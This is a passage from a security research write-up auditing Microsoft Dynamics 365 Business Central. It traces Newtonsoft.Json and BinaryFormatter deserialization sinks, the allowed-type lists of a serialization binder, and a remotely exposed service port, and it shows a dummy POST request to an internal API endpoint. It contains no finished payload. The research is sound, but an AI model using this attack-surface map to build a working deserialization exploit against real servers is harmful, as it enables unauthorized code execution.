<p>I spent several days within this library and tried finding ways to invoke arbitrary methods on objects (or static classes) of my choice. This was my first rabbit hole that took more time than I would like to admit today. I still have tons of notes and there’s a good chance I’ll come back to it some day because at least I found some interesting breadcrumbs.</p>

<blockquote>
  <p><strong>Advice #8</strong>: Write down absolutely everything during your audit. You might need the information later (e.g. for writing a blog post :-P).</p>
</blockquote>

<h4 id="hunting-for-json-deserialization">Hunting for Json Deserialization</h4>

<p>Looking through this code base and listing the Assembly references of this library pointed me to another well-known JSON library: <em>Newtonsoft.Json</em>. One of my browser tabs always holds one great research paper: <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf">Friday the 13th JSON Attacks</a> by Alvaro Muñoz and Oleksandr Mirosh. Exploitation of <em>Newtonsoft.Json</em> deserializers (and others) was explained in great detail and basically
comes down to this: one has to control the type for the objects being deserialized on the other end of the wire. Type information is only included if explicitly stated via <code class="language-plaintext highlighter-rouge">Newtonsoft.Json.TypeNameHandling</code> values other than <code class="language-plaintext highlighter-rouge">None</code>.</p>

<p>So let’s search for some candidates. A first hit found by looking at dnSpy Analyzer trees is <code class="language-plaintext highlighter-rouge">System.Object Microsoft.Dynamics.Nav.Types.JsonTypeHintHelper::Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.JsonSerializer,Microsoft.Dynamics.Nav.Types.JsonTypeHint)</code>. A custom class with the following code.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="k">static</span> <span class="kt">object</span> <span class="nf">Read</span><span class="p">(</span><span class="n">JsonReader</span> <span class="n">reader</span><span class="p">,</span> <span class="n">JsonSerializer</span> <span class="n">serializer</span><span class="p">,</span> <span class="n">JsonTypeHint</span> <span class="n">typeHint</span><span class="p">)</span>
<span class="p">{</span>
	<span class="k">switch</span> <span class="p">(</span><span class="n">typeHint</span><span class="p">)</span>
	<span class="p">{</span>
	<span class="k">case</span> <span class="n">JsonTypeHint</span><span class="p">.</span><span class="n">Int</span><span class="p">:</span>
		<span class="k">return</span> <span class="n">reader</span><span class="p">.</span><span class="nf">ReadAsInt32</span><span class="p">();</span>
	<span class="c1">// [...snip...]</span>
	<span class="k">case</span> <span class="n">JsonTypeHint</span><span class="p">.</span><span class="n">ErrorInfoData</span><span class="p">:</span>
		<span class="n">reader</span><span class="p">.</span><span class="nf">Read</span><span class="p">();</span>
		<span class="k">return</span> <span class="n">serializer</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">reader</span><span class="p">,</span> <span class="k">typeof</span><span class="p">(</span><span class="n">ErrorInfoData</span><span class="p">));</span>
	<span class="k">default</span><span class="p">:</span>
	<span class="p">{</span>
		<span class="n">TypeNameHandling</span> <span class="n">typeNameHandling</span> <span class="p">=</span> <span class="n">serializer</span><span class="p">.</span><span class="n">TypeNameHandling</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">serializer</span><span class="p">.</span><span class="n">SerializationBinder</span> <span class="k">is</span> <span class="n">NavSerializationBinder</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="n">serializer</span><span class="p">.</span><span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span><span class="p">;</span> <span class="c1">// &lt;---</span>
		<span class="p">}</span>
		<span class="n">reader</span><span class="p">.</span><span class="nf">Read</span><span class="p">();</span>
		<span class="kt">object</span> <span class="n">obj</span> <span class="p">=</span> <span class="n">serializer</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">reader</span><span class="p">);</span>
		<span class="n">serializer</span><span class="p">.</span><span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">typeNameHandling</span><span class="p">;</span> <span class="c1">// &lt;---</span>
		<span class="k">return</span> <span class="n">obj</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can indeed find several cases for which full type control seems to be possible. Either,
there could be an instance of <code class="language-plaintext highlighter-rouge">Newtonsoft.Json.JsonSerializer</code> with an insecure <code class="language-plaintext highlighter-rouge">TypeNameHandling</code> choice,
or with a <code class="language-plaintext highlighter-rouge">SerializationBinder</code> of type <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavSerializationBinder</code>.
<a href="https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.serializationbinder?view=netframework-4.8">SerializationBinders</a> originally were not meant to be used as a method for defense but at least can work
for some cases. I.e. the data object binding procedures are controllable within a certain degree of accuracy, and therefore often used to protect against dangerous “deserialization gadgets”. My colleague Markus showed in his research <a href="https://code-white.com/blog/2022-06-bypassing-dotnet-serialization-binders/">“Bypassing .NET Serialization Binders”</a> that there are many pitfalls leading to bypasses. So it does make sense to have a look at this SerializationBinder implementation first.</p>

<p><code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavSerializationBinder</code> implements its own <code class="language-plaintext highlighter-rouge">System.Type Microsoft.Dynamics.Nav.Types.NavSerializationBinder::BindToType(System.String,System.String)</code> method which itself calls <code class="language-plaintext highlighter-rouge">System.Boolean Microsoft.Dynamics.Nav.Types.NavSerializationBinder::TryBindToType(System.String,System.String,System.Type&amp;)</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="kt">bool</span> <span class="nf">TryBindToType</span><span class="p">(</span><span class="kt">string</span> <span class="n">assemblyName</span><span class="p">,</span> <span class="kt">string</span> <span class="n">typeName</span><span class="p">,</span> <span class="k">out</span> <span class="n">Type</span> <span class="n">bindToType</span><span class="p">)</span>
<span class="p">{</span>
		<span class="kt">bool</span> <span class="n">validType</span> <span class="p">=</span> <span class="k">false</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(!</span><span class="kt">string</span><span class="p">.</span><span class="nf">IsNullOrEmpty</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="n">allowedTypeName</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">typeName</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">allowedTypeName</span><span class="p">,</span> <span class="n">StringComparison</span><span class="p">.</span><span class="n">Ordinal</span><span class="p">)</span> <span class="p">&amp;&amp;</span> <span class="kt">string</span><span class="p">.</span><span class="nf">Equals</span><span class="p">(</span><span class="n">assemblyName</span><span class="p">,</span> <span class="k">this</span><span class="p">.</span><span class="n">allowedAssemblyName</span><span class="p">,</span> <span class="n">StringComparison</span><span class="p">.</span><span class="n">Ordinal</span><span class="p">))</span> <span class="c1">// [1]</span>
		<span class="p">{</span>
		<span class="n">validType</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(!</span><span class="n">validType</span><span class="p">)</span>
		<span class="p">{</span>
		<span class="n">validType</span> <span class="p">=</span> <span class="n">NavSerializationBinder</span><span class="p">.</span><span class="n">ProductAssemblies</span><span class="p">.</span><span class="nf">Contains</span><span class="p">(</span><span class="n">assemblyName</span><span class="p">);</span> <span class="c1">// [2]</span>
		<span class="p">}</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">validType</span><span class="p">)</span>
		<span class="p">{</span>
		<span class="n">bindToType</span> <span class="p">=</span> <span class="p">(</span><span class="n">validType</span> <span class="p">?</span> <span class="n">Type</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="n">typeName</span> <span class="p">+</span> <span class="s">", "</span> <span class="p">+</span> <span class="n">assemblyName</span><span class="p">)</span> <span class="p">:</span> <span class="k">null</span><span class="p">);</span>
		<span class="k">return</span> <span class="n">validType</span> <span class="p">&amp;&amp;</span> <span class="n">bindToType</span> <span class="p">!=</span> <span class="k">null</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="kt">string</span> <span class="n">assemblyQualifiedName</span> <span class="p">=</span> <span class="n">typeName</span> <span class="p">+</span> <span class="s">", "</span> <span class="p">+</span> <span class="n">assemblyName</span><span class="p">;</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">NavSerializationBinder</span><span class="p">.</span><span class="n">KnownRelatedTypes</span><span class="p">.</span><span class="nf">Contains</span><span class="p">(</span><span class="n">assemblyQualifiedName</span><span class="p">))</span> <span class="c1">// [3]</span>
		<span class="p">{</span>
		<span class="n">bindToType</span> <span class="p">=</span> <span class="n">Type</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="n">assemblyQualifiedName</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">bindToType</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
		<span class="k">return</span> <span class="k">true</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="p">}</span>
		<span class="n">bindToType</span> <span class="p">=</span> <span class="n">Type</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="n">typeName</span><span class="p">);</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">bindToType</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
		<span class="p">{</span>
		<span class="k">return</span> <span class="k">true</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="n">bindToType</span> <span class="p">=</span> <span class="n">NavSerializationBinder</span><span class="p">.</span><span class="n">NetStandardAssembly</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="n">typeName</span><span class="p">);</span> <span class="c1">// [4]</span>
		<span class="k">return</span> <span class="n">bindToType</span> <span class="p">!=</span> <span class="k">null</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It makes several case distinctions based on pre-defined sets of “allowed types”.</p>

<ul>
  <li>A class member named <code class="language-plaintext highlighter-rouge">allowedTypeName</code></li>
  <li>A class member named <code class="language-plaintext highlighter-rouge">allowedAssemblyName</code></li>
</ul>

<p>These turned out to be irrelevant, at least for my installation, because e.g. <code class="language-plaintext highlighter-rouge">allowedTypeName</code> was <code class="language-plaintext highlighter-rouge">null</code> at [1].</p>

<p>The <code class="language-plaintext highlighter-rouge">ProductAssemblies</code> HashSet [2] is filled by <code class="language-plaintext highlighter-rouge">System.Collections.Generic.HashSet`1&lt;System.String&gt; Microsoft.Dynamics.Nav.Types.NavSerializationBinder::InitAssemblies()</code>, basically containing namespaces from the very same .NET Assembly itself plus its references. Another HashSet <code class="language-plaintext highlighter-rouge">KnownRelatedTypes</code> [3] is a fixed list of Assembly names. Finally, a last decision is made at [4] with help of the Assembly variable <code class="language-plaintext highlighter-rouge">NetStandardAssembly</code>. The Assembly name again is hard-coded, here with a value of <code class="language-plaintext highlighter-rouge">netstandard, Version=2.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51</code>.</p>

<p><a href="https://learn.microsoft.com/en-us/dotnet/standard/net-standard?tabs=net-standard-1-0">.NET Standard 2.0</a> isn’t yet another .NET architecture/library/framework or so but just an “aggreement API” between different .NET implementations.</p>

<blockquote>
  <p>.NET Standard is a formal specification of .NET APIs that are available on multiple .NET implementations. The motivation behind .NET Standard was to establish greater uniformity in the .NET ecosystem. .NET 5 and later versions adopt a different approach to establishing uniformity that eliminates the need for .NET Standard in most scenarios. However, if you want to share code between .NET Framework and any other .NET implementation, such as .NET Core, your library should target .NET Standard 2.0.</p>
</blockquote>

<p>It is a good thing to understand where these variables are initialized etc. but for me it’s often easier to simply set some breakpoints and retrieve the lists directly during runtime. So I already did the heavy-lifting for you, here is the list.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ProductAssemblies:
"Microsoft.BusinessCentral.Telemetry.OpenTelemetry, Version=8.1.23275.1, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.Types.Report.Base, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.Common, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.IO.RecyclableMemoryStream, Version=1.4.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.AL.Common, Version=12.7.14.31432, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.Language, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.Common.Logging, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Microsoft.Dynamics.Nav.Types, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"

KnownRelatedTypes:
"System.Net.HttpStatusCode, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
"System.Version, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
"System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
"System.Data.DataTable, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"

NetStandardAssembly:
"System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e"
</code></pre></div></div>

<p>After a bit of knowledge gathering on the restrictions for deserializations with <code class="language-plaintext highlighter-rouge">NavSerializationBinder</code>’s protection, let’s find out if this is used somewhere. Let me introduce you to my next rabbit hole.</p>

<h4 id="just-another-rabbit-hole">Just Another Rabbit Hole</h4>

<p>Searching for <code class="language-plaintext highlighter-rouge">NavSerializationBinder</code> uses, the first entry in dnSpy’s Analyzer tab is a static method <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Client.DataBinder.NavFilterHelper::ReadNavFilterGroupFromPersonalization(System.Xml.XmlReader,System.String)</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">internal</span> <span class="k">static</span> <span class="n">NavFilterGroup</span><span class="p">[]</span> <span class="nf">ReadNavFilterGroupFromPersonalization</span><span class="p">(</span><span class="n">XmlReader</span> <span class="n">xmlReader</span><span class="p">,</span> <span class="kt">string</span> <span class="n">personalizationName</span><span class="p">)</span>
<span class="p">{</span>
		<span class="n">NavFilterGroup</span><span class="p">[]</span> <span class="n">filterGroups</span> <span class="p">=</span> <span class="n">Array</span><span class="p">.</span><span class="n">Empty</span><span class="p">&lt;</span><span class="n">NavFilterGroup</span><span class="p">&gt;();</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">xmlReader</span><span class="p">.</span><span class="n">LocalName</span> <span class="p">==</span> <span class="n">personalizationName</span><span class="p">)</span>
		<span class="p">{</span>
		<span class="n">xmlReader</span><span class="p">.</span><span class="nf">ReadStartElement</span><span class="p">(</span><span class="n">personalizationName</span><span class="p">);</span>
		<span class="k">using</span> <span class="p">(</span><span class="n">MemoryStream</span> <span class="n">stream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">MemoryStream</span><span class="p">(</span><span class="n">Convert</span><span class="p">.</span><span class="nf">FromBase64String</span><span class="p">(</span><span class="n">xmlReader</span><span class="p">.</span><span class="nf">ReadContentAsString</span><span class="p">())))</span>
		<span class="p">{</span>
		<span class="n">BinaryFormatter</span> <span class="n">formatter</span> <span class="p">=</span> <span class="k">new</span> <span class="n">BinaryFormatter</span>
		<span class="p">{</span>
		<span class="n">Binder</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">NavSerializationBinder</span><span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="n">NavFilterGroup</span><span class="p">[]))</span>
		<span class="p">};</span>
		<span class="k">try</span>
		<span class="p">{</span>
		<span class="n">filterGroups</span> <span class="p">=</span> <span class="p">(</span><span class="n">NavFilterGroup</span><span class="p">[])</span><span class="n">formatter</span><span class="p">.</span><span class="nf">Deserialize</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
		<span class="p">}</span>
		<span class="k">catch</span> <span class="p">(</span><span class="n">NavSerializationException</span> <span class="n">serializationException</span><span class="p">)</span>
		<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>Here, the <code class="language-plaintext highlighter-rouge">NavSerializationBinder</code> isn’t used in a Json Deserializer context but for a <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter</code> case. So what did we learn? <code class="language-plaintext highlighter-rouge">SerializationBinder</code> of course can be used by different deserialization implementations if each of them respects the <code class="language-plaintext highlighter-rouge">SerializationBinder</code> contracts.</p>

<p>But we’re interested in how this sink can be reached from a user-controlled request, be it over the HTTP or WebSocket API.
The dnSpy search function doesn’t help here anymore, this code doesn’t seem to be called from anywhere. Right, in this case. But often wrong. The typical reason for being “wrong”: one has to understand the architecture, tech stack and programming patterns to connect certain dots properly. dnSpy’s Analyzer is an amazing tool but it doesn’t replace knowledge for all aspects of .NET languages.</p>

<blockquote>
  <p><strong>Advice #9</strong>: Know your tools. They help you through the day but can hide information from you, if you don’t understand them correctly.</p>
</blockquote>

<p>So, I found an interesting call chain all the way back to <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Client.Web.ObservingAutomationHandler::InvokeClientExtensionMethod(Microsoft.Dynamics.Framework.UI.LogicalControl,System.String,System.String,Microsoft.Dynamics.Nav.Types.NavAutomationArgument[])</code> which should look familiar to you (see us talking about JsonRpc requests above). With the JsonRpc request above we’re able to hit <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Client.Web.InvokeExtensibilityMethodInteraction::InvokeCore(Microsoft.Dynamics.Nav.Client.Web.InvokeExtensibilityMethodInteractionInput)</code>, i.e. only half the way. From the call chain, I assumed that the <code class="language-plaintext highlighter-rouge">arguments[]</code> Array was my object of desire to inject some interesting deserialization gadgets but the connection to <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Client.Web.ObservingAutomationHandler::InvokeClientExtensionMethod(Microsoft.Dynamics.Framework.UI.LogicalControl,System.String,System.String,Microsoft.Dynamics.Nav.Types.NavAutomationArgument[])</code> was still missing, no breakpoint hit. I wondered why and traced back the call to <code class="language-plaintext highlighter-rouge">System.Void Microsoft.Dynamics.Nav.Client.FormBuilder.NavDesignerService::StopDesigner(Microsoft.Dynamics.Framework.UI.LogicalForm)</code> at the very end of <code class="language-plaintext highlighter-rouge">System.Void Microsoft.Dynamics.Nav.Client.FormBuilder.NavDesignerService::StartCore(Microsoft.Dynamics.Framework.UI.LogicalForm,Microsoft.Dynamics.Framework.UI.DesignerLevels)</code>. My fail here: I should have taken more time to understand the target application in greater detail. So after reading some more <a href="https://learn.microsoft.com/en-us/dynamics365/business-central/dev-itpro/developer/devenv-inclient-designer">documentation</a>, I knew how to hit the <code class="language-plaintext highlighter-rouge">StartCore</code> method <em>but</em>…the <code class="language-plaintext highlighter-rouge">StopDesigner</code> wasn’t reached with this kind of request. This took me several evenings to realize.</p>

<h3 id="back-to-the-drawing-board">Back to the Drawing Board</h3>

<p>I realized that a lot of potentially interesting calls led to nowhere, so let’s change the audit methods a little bit.
If you’re getting lost in tons and thousands of lines of code, use another tool. I chose <em>Wireshark</em> because why would all this dead code even exist?</p>

<blockquote>
  <p><strong>Advice #10</strong>: Use different tools for taking a different perspective on the same problem.</p>
</blockquote>

<p>And because we’re interested in somebody using a specific “SerializationBinder”, we also make a breakpoint at <code class="language-plaintext highlighter-rouge">System.Type Microsoft.Dynamics.Nav.Types.NavSerializationBinder::BindToType(System.String,System.String)</code>. When it’ll be hit, we could match the timing easily with our Wireshark recording. And it didn’t took long until we got a hit.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsfoundtype.png" alt="Found a Type" /></p>

<p>So some process is sending around requests with a typed Json, i.e. <code class="language-plaintext highlighter-rouge">TypeNameHandling != None</code>. But we found this in a response, even worse at TCP port <strong>7085</strong> and not <strong>8080</strong>. There also seems to be a complex session management in place, looking at the header values <code class="language-plaintext highlighter-rouge">ClientSessionId, server-session-id</code> and more. Is this a road we should really follow?</p>

<p>Analyzing a few more data within Wireshark, we learn that our <code class="language-plaintext highlighter-rouge">Prod.Client.WebCoreApp.exe</code> talks a lot to <em>7085</em> on <em>localhost</em>. Using <code class="language-plaintext highlighter-rouge">netstat</code> or <code class="language-plaintext highlighter-rouge">TCPView</code> of <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite">Sysinternal Suite</a>, we spot something really interesting.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsexposedports.png" alt="7085 exposed" /></p>

<p>Yes, <code class="language-plaintext highlighter-rouge">Prod.Client.WebCoreApp.exe</code> talks to <em>7085</em> but also is port <strong>7085 exposed on all network interfaces</strong>. This means by default we’re able to reach this service from anywhere (ignoring hardened firewall rules), i.e. also remotely. First, we’ll test interaction with this port on the same machine, for convience reasons but all this should work from a neighboring machine within the same network.</p>

<p>Again, we use some information from the very beginning. I remembered some setup issues (my fault tbh!) which I didn’t mention. We found some 7085 port related APIs in our error logs such as <code class="language-plaintext highlighter-rouge">http://win-jqo5ophmisf:7085/BC230/client</code>.</p>

<blockquote>
  <p><strong>Advice #11</strong>: Search for errors and interesting information in different sources. Be it Windows Event Manager, or application logs. Every additional logging mechanism may reveal something new.</p>
</blockquote>

<p>We copy all the potential session management stuff from the Wireshark recordings and try a sample request.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsexamplerequest.png" alt="7085 exposed" /></p>

<h1 id="microsoftdynamicsnavserverexe">Microsoft.Dynamics.Nav.Server.exe</h1>

<h4 id="binaryformatter---a-good-old-friend">BinaryFormatter - A Good Old Friend</h4>

<p>This somehow worked but also the response contained some <code class="language-plaintext highlighter-rouge">exceptionData</code> value with…a Base64 encoded <strong>BinaryFormatter</strong> serialized object. So I think now is a good time to switch the target process in dnSpy to <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Server.exe</code>, from <code class="language-plaintext highlighter-rouge">C:\Program Files\Microsoft Dynamics 365 Business Central\230\Service\Microsoft.Dynamics.Nav.Server.exe</code>. Be warned because loading all the process related modules in dnSpy will eat all your RAM and other computing powers. Time to visit <a href="https://downloadmoreram.com/">DownloadMoreRam.com</a> (thanks <a href="https://x.com/cheorchie">George</a>!). Be also warned that in the end, you might end being disappointed: I was expecting this shortly after I spotted the BinaryFormatter utilization but nevertheless I tried to follow the path to gather deeper knowledge. Sounds mysterious?</p>

<blockquote>
  <p><strong>Advice #12</strong>: Sometimes following a seamingly hopeless path will open up new chances.</p>
</blockquote>

<p>Now, back to our <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavSerializationBinder</code> from <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.dll</code>: it is also part of the loaded modules in this process! Searching through dnSpy Analyzer again, we find it being used in another <em>SerializationBinder</em> <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavExceptionSerializationBinder</code>. Observing an Exception in a response with Base64 encoded <code class="language-plaintext highlighter-rouge">BinaryFormatter</code> serialized data and the naming of this <em>SerializationBinder</em> could be a coincidence but humans are triggered by matching patterns, so am I. Maybe our new <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Server.exe</code> process is a little more accommodating for “sink to source” analyses. We find, again, the calling method <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Common.ExceptionHandler::DeserializeFromByteArray(System.Byte[],System.Type)</code> for which the Byte Array method parameter gets deserialized with <code class="language-plaintext highlighter-rouge">System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::Deserialize(System.IO.Stream)</code> with the corresponding <em>SerializationBinder</em>. The <code class="language-plaintext highlighter-rouge">DeserializeFromByteArray</code> method is used in a Setter <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavRecordState::set_FormOpenExceptionData(System.Byte[])</code>. The Setter itself doesn’t show up as being directly used somewhere else, dnSpy says, <strong>but again</strong>: know you technology, coding patterns etc.</p>

<p>Setters can be invoked by Json serializers so this might be the case for an incoming serialized object of <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Types.NavRecordState</code>. Where is this class used? Tons of hits in Analyzer and so this took me a few hours until I found (one of the) applicable source(s). To shorten it a bit, we draw a call chain.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Microsoft.Dynamics.Nav.Types.NavRecordState
-&gt; Microsoft.Dynamics.Nav.Types.GetPageRequest::State()
--&gt; Microsoft.Dynamics.Nav.Service.AspNetCore.ClientDataController::StreamPageData(System.IO.Stream,Microsoft.Dynamics.Nav.Runtime.NavSession,Microsoft.Dynamics.Nav.Types.GetPageRequest)
---&gt; Microsoft.Dynamics.Nav.Service.AspNetCore.ClientDataController/&lt;GetPage&gt;d__0
----&gt; Microsoft.Dynamics.Nav.Service.AspNetCore.ClientDataController::GetPage(Microsoft.Dynamics.Nav.Types.GetPageRequest)
</code></pre></div></div>

<p>We land at a controller class <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientDataController</code>.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">SessionId</span><span class="p">]</span>
<span class="p">[</span><span class="n">ApiController</span><span class="p">]</span>
<span class="p">[</span><span class="nf">ClientOperationBehavior</span><span class="p">(</span><span class="n">SessionUsage</span><span class="p">.</span><span class="n">UseCurrentSession</span><span class="p">,</span> <span class="n">RunInTransaction</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">RetryAfterTransientError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">TelemetryCategory</span> <span class="p">=</span> <span class="n">Category</span><span class="p">.</span><span class="n">Runtime</span><span class="p">)]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"data"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">ClientDataController</span> <span class="p">:</span> <span class="n">ServiceOperationController</span>
<span class="p">{</span>
	<span class="c1">// Token: 0x06000071 RID: 113 RVA: 0x00003C28 File Offset: 0x00001E28</span>
	<span class="p">[</span><span class="n">HttpPost</span><span class="p">]</span>
	<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"page"</span><span class="p">)]</span>
	<span class="k">public</span> <span class="n">Task</span><span class="p">&lt;</span><span class="n">IActionResult</span><span class="p">&gt;</span> <span class="nf">GetPage</span><span class="p">([</span><span class="n">FromBody</span><span class="p">]</span> <span class="n">GetPageRequest</span> <span class="n">request</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="n">ClientDataController</span><span class="p">.&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__0</span> <span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">;</span>
		<span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.&lt;&gt;</span><span class="n">t__builder</span> <span class="p">=</span> <span class="n">AsyncTaskMethodBuilder</span><span class="p">&lt;</span><span class="n">IActionResult</span><span class="p">&gt;.</span><span class="nf">Create</span><span class="p">();</span>
		<span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.&lt;&gt;</span><span class="m">4</span><span class="n">__this</span> <span class="p">=</span> <span class="k">this</span><span class="p">;</span>
		<span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.</span><span class="n">request</span> <span class="p">=</span> <span class="n">request</span><span class="p">;</span>
		<span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.&lt;&gt;</span><span class="m">1</span><span class="n">__state</span> <span class="p">=</span> <span class="p">-</span><span class="m">1</span><span class="p">;</span>
		<span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.&lt;&gt;</span><span class="n">t__builder</span><span class="p">.</span><span class="n">Start</span><span class="p">&lt;</span><span class="n">ClientDataController</span><span class="p">.&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__0</span><span class="p">&gt;(</span><span class="k">ref</span> <span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">);</span>
		<span class="k">return</span> <span class="p">&lt;</span><span class="n">GetPage</span><span class="p">&gt;</span><span class="n">d__</span><span class="p">.&lt;&gt;</span><span class="n">t__builder</span><span class="p">.</span><span class="n">Task</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">ApiControllerAttribute</code> is part of <code class="language-plaintext highlighter-rouge">Microsoft.AspNetCore.Mvc.Core.dll</code> and well-known for being annotated on classes which should process HTTP API requests within MVC architectures. According to the controller class name and its <code class="language-plaintext highlighter-rouge">RouteAttribute</code>, the URI should look like <code class="language-plaintext highlighter-rouge">/BC230/client/data/page</code>. Let’s build a sample POST request with dummy data.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /BC230/client/data/page HTTP/1.1
Host: localhost:7085
ClientSessionId: d735db2b-596b-406d-babb-e620d1715708
ClientActivityId: 7d9aa805-c985-9f44-2f2c-81d9c0bae1e6
GatewayCorrelationId: 
baggage: 
server-tenant-id: 
server-session-id: semgx45dqql3pey2zieltqxa
traceparent: 00-7d9aa805c9859f442f2c81d9c0bae1e6-501286b131e65694-00
Content-Type: application/json
Content-Length: 6

{}
</code></pre></div></div>

